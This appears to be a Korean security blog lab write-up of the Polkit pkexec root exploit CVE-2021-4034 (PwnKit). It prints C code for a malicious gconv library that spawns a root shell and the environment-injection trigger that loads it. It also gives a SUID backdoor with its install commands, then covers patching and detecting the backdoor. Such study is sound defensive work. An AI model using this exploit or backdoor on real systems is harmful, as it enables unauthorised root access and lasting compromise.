리눅스 시스템의 권한 관리 프레임워크인 Polkit(PolicyKit)에서 발견된 CVE-2021-4034(PwnKit) 취약점에 대해서 알아본다.
이 취약점은 pkexec 유틸리티가 인자값(argv)을 처리하는 과정에서 발생하는 메모리 참조 오류를 악용하여, 일반 사용자 계정에서 root 권한을 획득하는 로컬 권한 상승(LPE) 공격이다.
1. 전체 공격 아키텍처 및 흐름
공격자는 낮은 권한의 계정으로 시스템에 접근한 뒤, pkexec의 SUID 특성과 환경 변수 조작을 결합하여 root 권한을 탈취한다.

✅ pkexec이란?
pkexec은 리눅스 시스템에서 Polkit(PolicyKit)이라는 프레임워크를 기반으로, 일반 사용자가 다른 사용자(보통 root)의 권한으로 특정 명령을 실행할 수 있게 해주는 도구다.
쉽게 말해 "이 작업을 수행할 권한이 있는지 시스템 정책에 물어보고, 허락되면 관리자 권한을 빌려주는 창구"다.
1. 주요 특징과 역할
- Polkit의 실행부: Polkit은 시스템 전체의 권한을 세밀하게 관리하는 프레임워크인데, pkexec는 이 프레임워크를 명령줄(CLI)에서 실제로 실행하는 역할을 맡는다.
- SUID 설정: pkexec 파일 자체에 SUID(Set User ID) 비트가 설정되어 있어. 그래서 실행하는 순간 일시적으로 파일 소유자인 root의 권한을 가질 수 있게 된다.
- 그래픽 환경과의 통합: 터미널뿐만 아니라 우분투나 센트오에스 같은 데스크톱 환경에서 "관리자 암호를 입력하세요"라는 팝업창이 뜨는 과정 뒤에는 대개 Polkit과 pkexec가 작동하고 있다.
2. sudo와는 무엇이 다른가?
| 구분 | sudo | pkexec |
| 판단 근거 | /etc/sudoers 파일에 이름이 있는지 확인 | Polkit 정책 파일(.policy)에 정의된 규칙 확인 |
| 작동 방식 | 특정 '사용자'에게 권한을 몰아주는 방식 | 특정 '작동(Action)'에 대해 권한을 부여하는 세밀한 방식 |
| 인증 | 주로 텍스트 기반 비밀번호 입력 | GUI 환경에서 인증 창을 띄우는 등 더 유연한 인증 지원 |
2. 실습 단계별 상세 분석
1️⃣ 시스템 상태 확인 (관리자)
공격 전 시스템 내 SUID 파일 목록을 저장하여 이후 변경 사항을 추적할 준비를 한다.
- 명령어: find / -perm -4000 -ls 2> /dev/null > setuid.txt
- /usr/bin/pkexec 파일에 SUID 비트(-rwsr-xr-x)가 설정되어 있음을 확인한다. 이는 이 프로그램이 실행될 때 소유자인 root 권한으로 동작함을 의미한다.
2️⃣ 공격 코드 작성 및 컴파일 (공격자)
공격자는 pkexec가 악성 라이브러리를 로드하도록 유도하는 두 가지 코드를 작성한다.
1) evil-so.c (악성 공유 라이브러리)
로드되는 즉시 실제 사용자의 ID를 root(0)로 변경하고 쉘을 실행한다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0); setgid(0); setgroups(0);
execve("/bin/sh", NULL, NULL);
}
2) exploit.c (취약점 트리거)
pkexec를 인자 없이(argv[] = { NULL }) 실행하면서, GCONV_PATH를 포함한 환경 변수를 주입하여 앞서 만든 라이브러리를 로드하게 만든다.
// 핵심 로직: 환경 변수를 통한 경로 하이재킹
char *envp[] = { "evildir", "PATH=GCONV_PATH=.", "CHARSET=ryaagard", NULL };
char *argv[] = { NULL };
execve("/usr/bin/pkexec", argv, envp);
3️⃣ 권한 상승 실행
컴파일된 exploit 파일을 실행하여 root 권한을 획득한다.
- 원리: pkexec는 인자가 0개일 때 환경 변수 영역을 인자로 오인한다. 공격자가 만든 가짜 디렉토리의 gconv-modules 설정을 읽게 되어 evil.so가 root 권한으로 실행된다.
- 결과: id 명령어 입력 시 uid=0(root) 확인. /etc/shadow와 같은 민감 파일에 접근 가능해진다.
4️⃣ 백도어 생성 (권한 지속성 확보)
취약점이 패치될 것에 대비하여 root 권한이 있을 때 별도의 SUID 파일을 만들어 둔다.
// backdoor.c
int main() {
setuid(0);
system("/bin/sh");
return 0;
}
- 명령어: chown 0:0 /tmp/backdoor && chmod u+s /tmp/backdoor
- 의미: 일반 사용자가 언제든 /tmp/backdoor를 실행하기만 하면 다시 root 권한을 얻을 수 있는 '뒷문'을 설치한 것이다.
5️⃣ 취약점 패치 및 방어 확인 (관리자)
관리자가 보안 업데이트를 통해 취약점을 해결한다.
- 명령어: yum -y update polkit
- 결과: 패치 후 ./exploit을 실행하면 pkexec가 인자 값 부재를 감지하고 도움말을 출력하며 공격을 차단한다.
6️⃣ 침해 사고 탐지 및 복구
패치가 완료되었더라도 이미 설치된 백도어는 여전히 작동한다. 관리자는 시스템 무결성을 점검해야 한다.
- 탐지: diff setuid.txt setuid2.txt 명령을 통해 공격 전후의 SUID 파일 목록을 비교한다.
- 확인: 기존에 없던 /tmp/backdoor가 발견됨으로써 시스템이 침해되었음을 인지한다.
- 복구: 공격자가 커널 깊숙이 다른 백도어를 심었을 가능성이 높으므로, OS를 완전히 재설치하는 것이 가장 안전한 대응책이다.

4. 결론 및 시사점
- SUID의 위험성: 관리자 권한으로 실행되는 프로그램의 사소한 입력값 처리 오류가 시스템 전체의 탈취로 이어진다.
- 지속성(Persistence)의 공포: 애플리케이션 보안 패치만으로는 이미 침투한 공격자를 완전히 몰아낼 수 없다.
- 가시성 확보: 평상시 시스템의 주요 설정(SUID, 파일 무결성 등)에 대한 베이스라인을 구축하고 정기적으로 비교하는 보안 관리가 필수적이다.
'Journey to Security > 취약점진단|모의해킹' 카테고리의 다른 글
| [SQLi] 취약한 웹앱 공격 실습 (1) 로그인 우회 (0) | 2026.05.16 |
|---|---|
| [SQLi] 취약한 실습용 웹 애플리케이션 만들기 (Claude AI 이용) (0) | 2026.05.16 |
| Burp Suite와 FoxyProxy를 활용해서 Request/Response 가로채기 (0) | 2026.05.13 |
| [서버 보안] 리눅스 SSH 백도어 점검 및 삭제하기 (0) | 2026.04.26 |
| [서버 보안] Brute Force 공격과 무단 공개키 삽입(SSH 백도어) (0) | 2026.04.23 |